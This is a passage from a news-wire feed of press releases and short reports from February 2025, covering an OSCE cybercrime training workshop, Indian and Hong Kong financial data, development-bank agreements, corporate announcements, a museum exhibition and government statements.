    The participants from the Ministry of Internal Affairs, Office of the Prosecutor General, State Committee for National Security and their respective educational institutions discussed the development of two strategic documents in this regard: a competency framework and a training strategy. The competency framework defines skill sets and skill levels for different law enforcement roles involved in the investigation and prosecution of cybercrimes and other crimes involving electronic evidence. The training strategy then outlines a plan for the development and provision of professional training to build the necessary competencies amongst law enforcement practitioners.
    “Today, nearly all crimes include some sort of electronic evidence. Developing adequate skills and competencies in this area among law enforcement and judiciary actors is necessary for effective and efficient criminal investigations and prosecutions in every country,” emphasized Ion Gaina, a digital forensic expert from Moldova and keynote speaker at the event.
    The workshop followed the regional event on this topic held in Tashkent, Uzbekistan on 5-6 December 2024 and was implemented under the second phase of the OSCE’s regional capacity-building project on combating cybercrime in Central Asia, launched in September 2024 and funded by Germany and the United States of America.

    MIL OSI Europe News –

    March 1, 2025

  • MIL-OSI Economics: Sectoral Deployment of Bank Credit – January 2025

    Source: Reserve Bank of India

    Data on sectoral deployment of bank credit for the month of January 20251 collected from 41 select scheduled commercial banks, accounting for about 95 per cent of the total non-food credit deployed by all scheduled commercial banks, are set out in Statements I and II.

    On a year-on-year (y-o-y) basis, non-food bank credit2 as on the fortnight ended January 24, 20253 grew at 12.5 per cent (a three-month high) as compared to 16.2 per cent for the corresponding fortnight of the previous year (January 26, 2024).

    Highlights of the sectoral deployment of bank credit3 are given below:

    • Credit to agriculture and allied activities registered a growth of 12.2 per cent (y-o-y) as on the fortnight ended January 24, 2025 (20.0 per cent for the corresponding fortnight of the previous year).

    • Credit to industry recorded a growth of 8.2 per cent (y-o-y) as on the fortnight ended January 24, 2025, compared with 7.5 per cent for the corresponding fortnight of the previous year. Among major industries, outstanding credit to ‘petroleum, coal products and nuclear fuels’, ‘basic metal and metal product’, ‘chemicals and chemical products’ and ‘all engineering’ recorded an accelerated growth.

    • Credit growth to services sector moderated to 13.8 per cent (y-o-y) as on the fortnight ended January 24, 2025 (21.0 per cent for the corresponding fortnight of the previous year), with a decelerated growth in credit to ‘non-banking financial companies’ (NBFCs) and trade segments. However, credit growth (y-o-y) to ‘computer software’ accelerated.

    • Credit to personal loans segment registered a growth of 14.2 per cent (y-o-y) as on the fortnight ended January 24, 2025, as compared with 18.2 per cent a year ago, largely due to decline in growth rate in ‘other personal loans’, ‘vehicle loans’ and ‘credit card outstanding’ segments.

    Ajit Prasad           
    Deputy General Manager
    (Communications)    

    Press Release: 2024-2025/2276

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Asia-Pac: Mortgage loans down 2.1%

    Source: Hong Kong Information Services

    The value of residential mortgage loans approved in January was $25 billion, a 2.1% decrease compared with December 2024, the Monetary Authority announced today.

    Mortgage loans financing primary market transactions increased 15.5% to $10 billion, while those financing secondary market transactions decreased 11.7% to $12.2 billion.

    Loans for refinancing decreased 8.8% to $2.9 billion.

    Mortgage loans drawn down during January amounted to $15.6 billion, a 17.6% rise from December 2024.

    The number of mortgage applications in January rose 3.3% month-on-month to 6,516.

    The outstanding value of mortgage loans increased 0.1% to $1.872 trillion at end-January.

    MIL OSI Asia Pacific News –

    February 28, 2025

  • MIL-OSI Africa: African Development Bank, Pandemic Fund sign agreement to leverage resources for pandemic preparedness

    Source: Africa Press Organisation – English (2) – Report:

    ABIDJAN, Ivory Coast, February 28, 2025/APO Group/ —

    The African Development Bank (www.AfDB.org) Group has signed an agreement to become an implementing entity of the Pandemic Fund (https://apo-opa.co/4h0TQu3). This enables the Bank to coordinate financing of the Fund’s approved projects in Africa, as well as to participate in a call for proposals for financing investments scheduled to launch next month.

    The financial procedures agreement, signed in January with the World Bank Group (the International Bank for Reconstruction and Development acted as a trustee for the Pandemic Fund), qualifies the African Development Bank to participate in a share of $500 million in Fund Secretariat financing for proposals for pandemic-related programs, projects and policies, with a focus on low and middle-income countries.

    The Pandemic Fund is a partnership among donor countries, co-investors, foundations and civil society organizations hosted by the World Bank. The World Health Organization acts as the technical lead. The Fund assists countries and regions to strengthen their health systems and increase their investments, enabling them to boost pandemic prevention, preparedness and response capacities. 

    “There is growing demand from African countries for support to overcome gaps in national health infrastructure exposed by the Covid-19 pandemic and other health crises. As a Pandemic Fund implementing entity, the African Development Bank is capitalizing on our experience combining infrastructure financing with complementary support to improve the quality of life for the people of Africa,” said Dr. Beth Dunford, Bank Vice President for Agriculture, Human and Social Development.

    The Fund’s call for proposals will be in phases: the first phase will be open to single and multi-country proposals in March 2025; the second phase launches in June 2025 for regional proposals. 

    To date, the Pandemic Fund has financed two calls for proposals and approved 47 projects impacting 75 countries in six regions across the globe. On average, 43 percent of its resources have been allocated for countries in sub-Saharan Africa, the region with the highest demand for Pandemic Fund grants. Under the second call for proposals, more than half of the funds awarded went to sub-Saharan Africa.

    As an implementing entity, the African Development Bank will also play an oversight role, providing implementation support to beneficiary implementing organisations, as well as providing financial and progress reports to the Fund’s Governing Board.

    The Bank’s collaboration with the Pandemic Fund aligns with its Strategy for Quality Health Infrastructure in Africa that seeks to enhance healthcare infrastructure and improve health outcomes in Africa.

    In June 2023, the Bank approved approximately $124 million in financing for healthcare access expansion in Morocco. The country’s “Program to Support Inclusive Access to Healthcare Infrastructure” inboosts the country’s specialized healthcare services in women and children’s centers, supports building and equipping hospitals, and equips remote sites with telemedicine and teleconsultation facilities.

    Dunford says continued collaborating with the Pandemic Fund can help more Africans experience the benefits of strengthened healthcare systems.

    “As Africa’s premier financial institution, we are ready to provide relevant support to beneficiary implementing organisations, the Bank’s regional member countries, and regional economic communities in the Pandemic Fund’s third call for proposals. The Bank will leverage resources from the Fund, alongside our funding instruments, for bigger and better results,” she added.

    The Pandemic Fund was established in September 2022 with the Bank participating as an observer and formally announced two months later at the Group of 20 (G20) meetings in Bali, Indonesia.

    MIL OSI Africa –

    February 28, 2025

  • MIL-OSI: MWC 2025: Innovations to increase engagement and efficiency in telecom business

    Source: GlobeNewswire (MIL-OSI)

    MWC 2025: Innovations to increase engagement and efficiency in telecom business

    In the highly competitive telecom and service provider markets worldwide, companies face equally complex challenges: attracting new customers, retaining existing ones, and increasing their engagement. Innovative solutions such as gamification and reward systems, are becoming powerful tools to achieve these goals, allowing companies not only to maintain customer interest but also to significantly improve their loyalty. In this context, at MWC 2025 in Barcelona, QazCode will present its solutions designed to help overcome these challenges across different markets.

    Gamification as an easy way to increase loyalty

    The global gamification market is growing rapidly, from $9.1 billion in 2020 to a projected $30.7 billion in 2025. Already, 70% of global Global 2000 companies are using game elements to engage customers. In addition, data shows that products with thoughtful interaction design retain customers three times better than those using basic gamification.

    Gamification can increase user engagement by 25% or more and build the habit of using services regularly, which also helps to reduce customer churn and increase customer loyalty. As a result, companies can increase profitability and improve their position in competitive markets.

    Real case study: how gamification helps businesses grow

    On the image: Gamification and reward systems for users

    QazCode, one of the leaders in developing solutions for the telecom and IT sectors, has demonstrated successful examples of gamification implementation in CIS countries. For example, in Kazakhstan, the introduction of gamification in the “Janymda” superapp (formerly “My Beeline”) made games the second most popular domain after telecom services, and every fifth user became an active gamer. Gamification not only helps attract and retain users but also positively influences their perception of the brand, driving both direct and indirect revenue growth. It is important to note that user retention among those who actively engage with games and rewards is 25% higher than among those who do not use these features.

    To make the games engaging and profitable, QazCode established its own game development team, which created its own gaming platform, portfolio, and services. However, in other markets such as Ukraine and Kyrgyzstan, companies had to tailor their offerings, including games, to better suit local cultural differences, user behaviour, and market trends.

    Another opportunity that gamification offers businesses is the rewards system. The decline in conversion rates of traditional communication channels, alongside the growing product portfolio of service providers, necessitates the search for new, effective methods to raise awareness among the audience about products and services, as well as attract and retain customers.

    By completing various tasks, users can strengthen their emotional connection with the brand, earning bonuses or achievements. For example, in the case of the “Janymda” superapp in Kazakhstan, the rewards system helped organically boost user engagement and increased revenue per user by 7%, directly impacting the company’s financial performance and customer satisfaction.

    “Our experience working with various regions of the CIS has given us a clear understanding of how important it is to consider the cultural and economic characteristics of users when implementing gamification and reward systems. We are confident that our solutions can be adapted to meet the needs and requirements of other markets. For example, more complex user interaction systems may be in demand in Western markets, while in the Middle East, the focus may be on specific values and habits. We are ready to offer flexible solutions that can meet the needs of clients in any market,” commented Alexey Sharavar, CEO of QazCode”, –  commented Oleksii Sharavar, CEO at QazCode.

    The company has successful experience working in Central Asia, Europe, and the Middle East, and continues to actively expand its presence in international markets. Participation in MWC 2025 in Barcelona (stand 6F12) will provide a unique opportunity for knowledge exchange and discussions on advanced technologies in the field of gamification and reward systems.

    About QazCode
    QazCode is an IT company and exclusive digital partner of Beeline Kazakhstan. The company is part of the VEON group listed on the NASDAQ and Euronext stock exchanges.
    The company has over 750 employees with 8 years of experience in software development for the telecom and IT markets with a deep understanding of business and technology. The solution portfolio includes the development of private Large Language Models (LLM) with a focus on data security, game development, and reward systems, process optimization through Agile methodologies, full-cycle implementation of Business Support Systems (BSS), and IT outsourcing for effective product development, team expansion, and project management to help accelerate time to market. 

    About VEON 
    VEON is a digital operator providing converged communications and digital services to nearly 160 million customers. Operating in six countries with over 7% of the world’s population – Pakistan, Ukraine, Bangladesh, Kazakhstan, Uzbekistan, and Kyrgyzstan – VEON transforms people’s lives through technology services that empower people and drive economic growth. VEON is headquartered in Dubai.

    The MIL Network –

    February 28, 2025

  • MIL-OSI: BTCC Exchange Unveils $1 Million “Trade to Win” Campaign Featuring Tesla Cybertruck for TOKEN2049 Dubai

    Source: GlobeNewswire (MIL-OSI)

    VILNIUS, Lithuania, Feb. 28, 2025 (GLOBE NEWSWIRE) — BTCC, a global leader in crypto trading, is proud to announce its participation as a gold sponsor at TOKEN2049 Dubai, the premier crypto industry event from April 30 to May 1, 2025. To celebrate, BTCC is launching a Trade to Win campaign with a $1 million prize pool, including the flagship prize of a Tesla Cybertruck. Users are invited to participate for exciting rewards and a chance to meet the team at the TOKEN2049 venue.

    TOKEN2049 is set to attract over 15,000 attendees from 4,000 companies worldwide in 2025. This two-day event at Madinat Jumeirah will feature insightful conferences led by industry leaders and influential voices, while also offering a unique experience with activities such as massages, shisha lounges, and live music.

    Participants can visit BTCC at booth no. P51, where its team and influencers will engage with attendees, share insights, and showcase their latest product offerings. Attendees will also have the opportunity to meet their official mascot, Nakamon, inspired by the legendary Satoshi Nakamoto, presented in a vibrant Arabian theme.

    BTCC will host two exclusive events for crypto influencers. The Dubai Safari Day Tour on April 29 will feature dune bashing, sandboarding, and camel rides. Following that, the KOL Yacht Party on May 2 will offer live DJ music and gourmet Japanese cuisine by chef Nishimura Yukou aboard a luxurious yacht with stunning views of the Dubai skyline.

    Regular users are encouraged to participate in the Trade to Win campaign, where they can trade over 300 future pairs to win incredible prizes from the $1 million prize pool, including a Tesla Cybertruck, a Ducati motorcycle, and a luxurious seven-star hotel stay in Dubai. Top performers will also have the opportunity to attend TOKEN2049 and meet the BTCC team in person.

    BTCC has actively participated in global events, including Paris Blockchain Week in 2024, to strengthen connections within the crypto community. “TOKEN2049 is more than just an event; it’s a platform for meaningful dialogue and collaboration,” said Aaryn Ling, Head of Branding at BTCC. “Our goal is to engage with the community and KOLs, fostering insightful discussions that drive our exchange forward,” Aaryn added.

    For more information about the Trade to Win campaign, please visit BTCC’s website.

    About BTCC Exchange

    BTCC is a leading cryptocurrency exchange offering a secure and user-friendly platform for traders globally. Since its launch in 2011, the exchange has maintained a flawless security record with zero incidents. A standout feature of the platform is copy trading which enables users to easily follow the strategies of top traders and replicate their success.

    Official website: https://www.btcc.com/en-US

    X: https://x.com/BTCCexchange

    Contact: press@btcc.com

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/567092fe-dbec-4e7c-8da5-f6d045e6becb

    The MIL Network –

    February 28, 2025

  • MIL-OSI China: Over 300 firms sign up for China’s supply chain expo

    Source: People’s Republic of China – State Council News

    BEIJING, Feb. 28 — More than 300 domestic and foreign companies have signed up for the third China International Supply Chain Expo, China’s trade promotion body announced on Friday.

    The expo kicked off its global roadshows in January and has so far hosted promotional events and roadshows in 12 countries and regions, including Vietnam, Switzerland, South Africa and the United Arab Emirates, Yang Fan, spokesperson with the China Council for the Promotion of International Trade (CCPIT), told a press conference.

    Foreign enterprises and institutions have demonstrated great enthusiasm for participating in and visiting the expo, Yang said, anticipating an increase in attendance this year, particularly from overseas groups and businesses, for on-site visits and exchanges.

    The expo recorded more than 200,000 visits last year, CCPIT data showed.

    This year’s expo, slated to be held in Beijing from July 16 to 20, will cover a total exhibition area of 120,000 square meters.

    As the world’s first national-level exhibition focusing on supply chains, the China International Supply Chain Expo is an internationally shared public product. First held in 2023, the expo has contributed to building more secure, stable, open and inclusive global industrial and supply chains, according to the CCPIT.

    MIL OSI China News –

    February 28, 2025

  • MIL-OSI Economics: Swap Auction, February 28, 2025: Results

    Source: Reserve Bank of India

    Today, the Reserve Bank conducted a USD/INR Buy Sell swap auction for a notified amount of USD 10 billion as announced vide press release dated February 21, 2025.

    I. SUMMARY RESULTS

    Aggregate amount notified (USD Billion) 10.00
    Total amount bid by participants (USD Billion) 16.23
    Total amount accepted (USD Billion) 10.06
    Cut-off premium (in paisa) 655.10

    II. OTHER DETAILS

    USD/INR Buy Sell Swap auction
    No. of bids received 244
    Bid to cover ratio 1.62
    No. of bids accepted 161
    Partial allotment as % of competitive bids at cut-off premium NA
    Weighted Average Premium of accepted bids (in paisa) 673.29
    First leg settlement date March 04, 2025
    Second leg settlement date March 06, 2028

    Ajit Prasad          
    Deputy General Manager
    (Communications)    

    Press Release: 2024-2025/2274

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Economics: Asian Development Blog: Hold the Salt: Harnessing Desalination for Water Security

    Source: Asia Development Bank

    Desalination offers a viable solution to water scarcity in the Pacific, but its success depends on careful planning, energy efficiency, and environmental considerations. Integrating renewable energy, engaging communities, and ensuring sustainable brine disposal are key to long-term viability.

    The Pacific region is grappling with increasing water scarcity, driven largely by the impacts of climate change. Rising sea levels, prolonged droughts, and changing rainfall patterns have strained freshwater resources, leaving many coastal communities vulnerable.

    As traditional water supplies become less reliable and populations continue to grow, the need for innovative and climate-resilient solutions has never been more urgent. However, implementing alternative technologies like desalination requires careful consideration to ensure its effectiveness, sustainability, and community acceptance.

    Desalination involves the removal of salts and impurities from brackish water and seawater sources to produce potable water. However, removing salt from water is an energy intensive treatment process. The most widely used desalination method is reverse osmosis, as it has the lowest energy usage of the available and mature desalination technologies.

    Reverse osmosis uses semi-permeable membranes and hydraulic pressure to filter out contaminants including salt. While this technology offers significant advantages in providing a reliable water source, it also presents challenges, especially in remote areas and emergency contexts where resources and infrastructure may be limited.

    Before deploying desalination technology, it is crucial to assess the specific site conditions, including the quality of the salty water available for treatment. The salinity level, temperature, and presence of contaminants such as sediments or organic materials can significantly impact the performance of the desalination system.

    In emergency contexts, the water intake may be compromised due to increased sediment loads or bacterial contamination from natural disasters. A robust pre-treatment process is essential to protect reverse osmosis membranes and maintain operational efficiency.

    Pre-treatment systems should be designed to remove larger particles, suspended solids, and biological contaminants, ensuring that only water suitable for the membrane elements enters the desalination unit.

    Energy consumption is also a critical factor when considering desalination technologies. Reverse osmosis systems can be energy-intensive, requiring between three and five kilowatt-hours per 1,000 litres of water produced.

    In remote settings, reliable energy sources may be challenging to secure. It is essential to evaluate available energy options before implementation. Integrating renewable energy sources, such as solar panels or wind turbines, can help mitigate energy costs and reduce the carbon footprint of desalination systems, particularly in remote settings.

    Portable desalination units are largely powered by generators during emergencies, but careful planning for fuel supply and maintenance is necessary to ensure continuous operation.

    Desalination technology has the potential to play a pivotal role in addressing water scarcity challenges faced by remote and coastal communities, especially during emergencies.

    Effective operation and maintenance are vital for the long-term success of desalination projects. In remote and emergency settings, local capacity may be limited, making it crucial to establish training programs for technicians. Investing in local training not only builds community skills but also fosters ownership and sustainability in water management.  

    A comprehensive maintenance plan should include routine checks of the desalination unit, regular cleaning of pre-treatment filters, and periodic replacement of reverse osmosis membranes.

    Ensuring that local operators are equipped with the knowledge and tools needed for maintenance will enhance the reliability and efficiency of desalination systems. This is especially important for emergency units that may be intermittently used and stored for long periods between use.  

    The environmental implications of desalination must be carefully considered, particularly concerning brine disposal. The concentrated saline byproduct generated during the desalination process can have negative effects on marine ecosystems if not managed properly.

    To mitigate these impacts, brine should be dispersed across a wide area rather than discharged in a single location. Additionally, a lower salinity, higher volume brine can be produced by operating the reverse osmosis unit at a low recovery rate.

    This practice helps prevent localized salinity increases that can harm marine life. Engaging with environmental experts and local authorities to develop responsible brine management strategies is essential for sustainable desalination practices.

    Community involvement is paramount when implementing desalination technology. Engaging local populations in discussions about the technology, its benefits, and potential challenges fosters a sense of ownership and acceptance.

    Providing education on water management and desalination processes will help demystify the technology and encourage responsible use of water resources. Building trust within the community is crucial for the success of desalination projects.

    Collaboration with local stakeholders, including government agencies and non-governmental organizations, can help address concerns and ensure that the technology aligns with community needs.

    The initial investment for desalination technology can be significant, and ongoing operational costs must be evaluated to ensure long-term sustainability. It is essential to conduct a cost-benefit analysis that considers factors such as energy consumption, maintenance requirements, and the expected lifespan of the equipment.

    Exploring funding opportunities from government programs, international organizations, and public-private partnerships can help offset the financial burden. Engaging with development partners can also provide technical assistance and capacity-building support to ensure the successful implementation of desalination systems.

    Desalination technology has the potential to play a pivotal role in addressing water scarcity challenges faced by remote and coastal communities, especially during emergencies.

    However, careful consideration of site conditions, energy requirements, operational needs, environmental impacts, community engagement, and funding opportunities are essential for effective implementation.

    As we move toward a future that is increasingly affected by climate change, harnessing the power of desalination with thoughtful planning and community involvement will be critical in building water resilience across the Pacific. By investing in these technologies and empowering local communities, we can create sustainable solutions that secure safe drinking water for generations to come.
     

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Economics: Huawei Named a Customers’ Choice in Gartner® Peer Insights™ Voice of the Customer for Primary Storage Four Times Feb 28, 2025

    Source: Huawei

    Headline: Huawei Named a Customers’ Choice in Gartner® Peer Insights Voice of the Customer for Primary Storage Four Times
    Feb 28, 2025

    [Shenzhen, China, February 27, 2025] With a 100% willingness to recommend rating and a full score of 5.0 based on 227 reviews as of December 2024, Huawei was named a Customers’ Choice for the fourth time in 2025 Gartner® Peer Insights Voice of the Customer for Primary Storage Platforms.
    Huawei named a Customers’ Choice in Gartner® Peer Insights four times

    Gartner Peer Insights is a free peer review and ratings platform designed for enterprise software and services decision makers. Reviews are organized by products in live markets that align to Gartner research markets, defined as Magic Quadrant or Market Guide–defined markets, or GPI-defined markets that are opened at the discretion of the GPI team and do not require research published to open the space on Peer Insights. And the “Voice of the Customer” is a document that applies a methodology to aggregated Gartner Peer Insights’ reviews in a market to provide an overall perspective for IT decision makers.
    By December 2024, Huawei OceanStor Dorado All-Flash Storage had been reviewed by hundreds of customers worldwide in various regions covering industries in a wide range of economic sectors, such as finance, manufacturing, and telecommunications, among others.
    Huawei OceanStor Dorado All-Flash Storage is deployed at customers sites in over 150 countries and regions including Latin America, Europe, Africa, the Middle East, and Asia-Pacific, where it provides reliable services in sectors such as finance, telecommunications, government, and public utilities.
    “We appreciate our global customers for their positive feedback and strong recommendations for Huawei’s primary storage. Being named a Customers’ Choice four times is the highest form of recognition we can receive from our customers and a driving force for our continuous improvement,” remarked Huang Tao, President of Huawei Flash Storage Domain. “In our commitment to innovation, we will continue investing in storage performance, reliability, usability, and management efficiency. Our goal is to provide an exceptional data service experience for our customers and become the preferred choice for data infrastructure in every field,” added Huang.
    To learn more about Huawei Data Storage products and solutions, please visit the Huawei Data Storage official website: https://e.huawei.com/en/products/storage

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Economics: Huawei Named a Customers’ Choice in Gartner® Peer Insights™ Voice of the Customer for Primary Storage Four Times

    Source: Huawei

    Headline: Huawei Named a Customers’ Choice in Gartner® Peer Insights Voice of the Customer for Primary Storage Four Times

    [Shenzhen, China, February 27, 2025] With a 100% willingness to recommend rating and a full score of 5.0 based on 227 reviews as of December 2024, Huawei was named a Customers’ Choice for the fourth time in 2025 Gartner® Peer Insights Voice of the Customer for Primary Storage Platforms.
    Huawei named a Customers’ Choice in Gartner® Peer Insights four times

    Gartner Peer Insights is a free peer review and ratings platform designed for enterprise software and services decision makers. Reviews are organized by products in live markets that align to Gartner research markets, defined as Magic Quadrant or Market Guide–defined markets, or GPI-defined markets that are opened at the discretion of the GPI team and do not require research published to open the space on Peer Insights. And the “Voice of the Customer” is a document that applies a methodology to aggregated Gartner Peer Insights’ reviews in a market to provide an overall perspective for IT decision makers.
    By December 2024, Huawei OceanStor Dorado All-Flash Storage had been reviewed by hundreds of customers worldwide in various regions covering industries in a wide range of economic sectors, such as finance, manufacturing, and telecommunications, among others.
    Huawei OceanStor Dorado All-Flash Storage is deployed at customers sites in over 150 countries and regions including Latin America, Europe, Africa, the Middle East, and Asia-Pacific, where it provides reliable services in sectors such as finance, telecommunications, government, and public utilities.
    “We appreciate our global customers for their positive feedback and strong recommendations for Huawei’s primary storage. Being named a Customers’ Choice four times is the highest form of recognition we can receive from our customers and a driving force for our continuous improvement,” remarked Huang Tao, President of Huawei Flash Storage Domain. “In our commitment to innovation, we will continue investing in storage performance, reliability, usability, and management efficiency. Our goal is to provide an exceptional data service experience for our customers and become the preferred choice for data infrastructure in every field,” added Huang.
    To learn more about Huawei Data Storage products and solutions, please visit the Huawei Data Storage official website: https://e.huawei.com/en/products/storage

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI China: Ancient Chinese bronzes on display in New York

    Source: China State Council Information Office 3

    A comprehensive collection of Chinese bronzes from the 12th to 19th centuries will be on display in The Metropolitan Museum of Art (The Met) starting Friday for a period of seven months.

    Co-organized by The Met and the Shanghai Museum, the exhibition will showcase around 100 collections from The Met and nearly 100 loans from major institutions in China, Japan, the Republic of Korea, Germany, France, and Britain.

    Titled Recasting the Past: The Art of Chinese Bronzes, 1100-1900, the exhibition aims to be the most comprehensive study of Chinese bronzes during this period.

    Featured in the exhibition are around 60 loans from eight institutions in China, including major works such as a monumental 12th-century bell with imperial procession from the Liaoning Provincial Museum, documented ritual bronzes for Confucian temples from the Shanghai Museum, and luxury archaistic vessels made in the 18th-century imperial workshop from the Palace Museum in Beijing, according to a release by The Met.

    “While bronze as an art form has long held a significant role throughout China’s history, this exhibition explores an often-overlooked time period when a resurgence of craftsmanship and artistic achievements revitalized the medium,” said Max Hollein, director and chief executive officer of The Met.

    “Bringing together major loans from institutions in China alongside works from The Met collection, this exhibition offers viewers an important opportunity to better understand the lasting aesthetic and cultural impact of bronze objects,” said Hollein.

    The exhibition includes five thematic and chronological sections that explicate over 200 works of art — an array of bronze vessels complemented by a selection of paintings, ceramics, jades, and other media.

    “This exhibition attempts a long-overdue reevaluation of later Chinese bronzes by seeking to establish a reliable chronology of this art form across the last millennium of Chinese history. The exhibition will also distinguish outstanding works from lesser examples based on their artistic and cultural merits,” said Lu Pengliang, curator of Chinese Art at The Met.

    The cooperation and partnership among institutions from different countries also allows antiques with close ties to appear together to give people a more holistic view.

    The Shanghai Museum’s “Lady reclining over an incense cage,” a painting by Chen Hongshou in the Ming dynasty, demonstrates people’s elegant life in the mid-17th century and how an incense burner in the form of a duck was used, said Lu.

    Lu put a bronze incense burner of this kind from The Met together with the painting.

    Lu also discovered a Daoist ritual cauldron from the Cernuschi Museum (Museum of the Asian arts of Paris) and a Daoist ritual vessel from the Saint Louis Art Museum, which share the same mark and are believed to be from the same user in Qing Dynasty.

    “Our studies show that the two items must once belong to the same person and they have specific functions in Daoism,” Lu told Xinhua.

    It’s interesting to put them together in the exhibition and the two items also would be displayed in Shanghai later this year, said Lu.

    “This whole project is a project of partnership, of friendship, of collegiality, of an ability (on) what we can achieve when you do something together,” said Hollein at a press preview of the exhibition on Thursday.

    “This exhibition marks another milestone in the collaboration between our two museums. I am also very pleased to share that this is an exchange exhibition, which will meet Chinese audiences at the Shanghai Museum in November this year,” said Chu Xiaobo, director of the Shanghai Museum.

    The exhibition will be open to the public in New York from Feb. 28 to Sept. 28, 2025 and the Shanghai Museum will host the exhibition from Nov. 12 to March 16, 2026.

    In today’s world, dialogue and mutual trust are more precious than ever, where cultural exchanges play an irreplaceable role, said Chu, who noted that museums are the most inclusive and diverse platforms for cultural exchanges.

    “We look forward to deepening partnerships, expanding collaborations, fostering friendships, and strengthening our shared commitment with global colleagues, to preserving and celebrating the beauty of human civilizations,” said Chu at the press preview of the exhibition. 

    MIL OSI China News –

    February 28, 2025

  • MIL-OSI Economics: Amgen strategic hiring push in India: GlobalData insights on R&D growth and tech integration

    Source: GlobalData

    Amgen strategic hiring push in India: GlobalData insights on R&D growth and tech integration

    Posted in Business Fundamentals

    Amgen is expanding its presence in India by ramping up hiring for its new technology and innovation center in Hyderabad. The company aims to strengthen its operations and R&D capabilities by recruiting tech professionals skilled in data analytics, AI, and digital health technologies. This investment highlights Amgen’s commitment to innovation and further solidifies Hyderabad as a key hub for life sciences and technology integration, according to GlobalData, a leading data and analytics company.

    Sherla Sriprada, Business Fundamentals Analyst at GlobalData, comments: “Amgen’s tech and innovation center in Hyderabad signals a strategic move to enhance its global R&D capabilities. By tapping into India’s thriving tech industry and emphasising on digital transformation, the US biotech major is looking to recruit tech professionals for integrating cutting-edge data analytics, AI, and digital health technologies into its operations.”

    An analysis of GlobalData’s Job Analytics Database reveals that Amgen’s hiring strategy in India reflects a strong emphasis on leadership in procurement, technology integration, and data-driven decision-making. The company is focused on developing and implementing innovative strategies for indirect materials procurement, overseeing data analytics governance, and spearheading efforts to improve procurement processes through technology.

    Additionally, Amgen is looking for professionals to drive end-to-end technology implementation and integrating new solutions to optimize procurement functions, while also focusing on supplier risk, cost analysis, and demand forecasting.

    Moreover, Amgen is prioritizing roles for the Hyderabad office for leading pharmacovigilance activities. The company is actively seeking individuals with expertise in cloud technology and generative AI to drive innovation.

    A deep dive into  GlobalData’s Company Filings Analytics Database and News Database also reveals that the company announced a $200 million investment in the newly opened technology and innovation center in Hyderabad. The company is focusing on driving efficiencies and prioritizing resources. This includes leveraging both automation and newly established innovation and technology hub in India to enhance digital capabilities, such as artificial intelligence, data science, life science, and medical advancements.

    Sriprada concludes: “The recent job postings, along with media reports on potential investment, not only suggest the company’s commitment to expanding its global footprint and enhancing its capabilities in India.”

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Economics: The 31st AEM Retreat convenes in Johor, Malaysia

    Source: ASEAN

    Secretary-General of ASEAN, Dr. Kao Kim Hourn, today attended the 31st ASEAN Economic Ministers’ Retreat (AEM Retreat) held in Johor, Malaysia. The AEM Retreat was chaired by Minister of Investment, Trade and Industry of Malaysia Tengku Zafrul Tengku Abdul Aziz. The Meeting expressed its support for ASEAN’s economic priorities under Malaysia’s 2025 Chairmanship under the theme of “Inclusivity and Sustainability.” The Meeting also exchanged views on the current regional and global economic outlook, progress of implementation of the AEC Blueprint 2025, as well as key initiatives to further integrate ASEAN’s economy including the ongoing negotiations for the ASEAN Trade in Goods Agreement (ATIGA) upgrade, the ASEAN Digital Economy Framework Agreement (DEFA), as well as Timor-Leste’s accession to ASEAN economic agreements and ASEAN’s external economic relations.

    The Meeting was preceded by an open session with the ASEAN Business Advisory Council (ASEAN-BAC), followed by the Economic Research Institute for ASEAN and East Asia (ERIA), and McKinsey, which engaged in discussions on ASEAN’s economic integration as well as emerging regional and global issues.

    The post The 31st AEM Retreat convenes in Johor, Malaysia appeared first on ASEAN Main Portal.

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Asia-Pac: FS explains fiscal plan on radio show

    Source: Hong Kong Information Services

    Financial Secretary Paul Chan took questions on the 2025-26 Budget this morning as he engaged with members of the public on a radio phone-in programme.

    Mr Chan responded to questions about trade, cuts in government expenditure and investment in the development of artificial intelligence (AI), besides explaining the overall objectives and rationale of his Budget.

    With the city’s deficit projected to fall to $67 billion in the next fiscal year, Mr Chan said he believes the worst is over for Hong Kong, but stressed the need to take proactive steps to achieve balance.

    Referring to the Government’s fiscal plan, he said: “I would call it a fiscal consolidation plan, meaning that we have to reduce the expenditure growth, but at the same time increase our revenue, with the focus on the former, meaning that cutting expenditure growth is the primary tool to return us to balance.”

    This, he added, would include rationalising and improving some services to make their delivery efficient.

    In terms of the overall outlook, he expressed optimism that Hong Kong can seize on new opportunities and realign itself as a high value-added supply chain management centre, even amid external challenges.

    “Of course, there are uncertainties and external complexities, given the geopolitics, but on the other hand, the Mainland’s economy is growing. It is our hinterland.”

    Specifically on measures to reduce expenditure, Mr Chan sought to allay callers’ concerns.

    Regarding the abolition of a grant for secondary day-school, primary school and kindergarten students, he said: “The Education Bureau considered that this allowance, $2,500 at the moment, is regardless of means. It is really not very targeted to help those in need. And for those in need, we do have subsidies in other schemes to provide them with the needed support.

    “The budget allocation to education continues to exceed $100 billion a year, so it is a very substantial investment.”

    The finance chief also extolled the city’s competitive strengths as a super connector and super value-adder, as he was asked about the announcement in the Budget that $1 billion will be set aside to establish an AI research and development institute in the city.

    “Compared to Singapore, our advantage is that we have a vast Mainland market,” he said. “This will provide the user case for many of these AI companies. And compared to companies on the Mainland, in Shenzhen, we have the convenience of gathering talent, data, and also going global.

    “Particularly for those companies in different stages of development, we have a full chain of funding options, financing options.

    “And for talent, we do think here is the very convenient place of gathering not just Chinese talent, but also international talent.”

    MIL OSI Asia Pacific News –

    February 28, 2025

  • MIL-OSI New Zealand: New Zealand and Mongolia celebrate practical cooperation

    Source: New Zealand Government

    Deputy Prime Minister Winston Peters has underlined an agenda of practical cooperation with Mongolia, following a visit to Ulaanbaatar. 

    “This visit enabled us to explore and develop modest and practical New Zealand support for Mongolia in diverse areas, such as sheep shearing, agricultural management, English Language Training for Officials, tax policy and clean drinking water.

    “Mongolia also presents lessons for New Zealand, in areas such as how to attract investment, how to develop infrastructure, and how to utilise natural resources effectively to help expand their people’s wealth,” Mr Peters says.

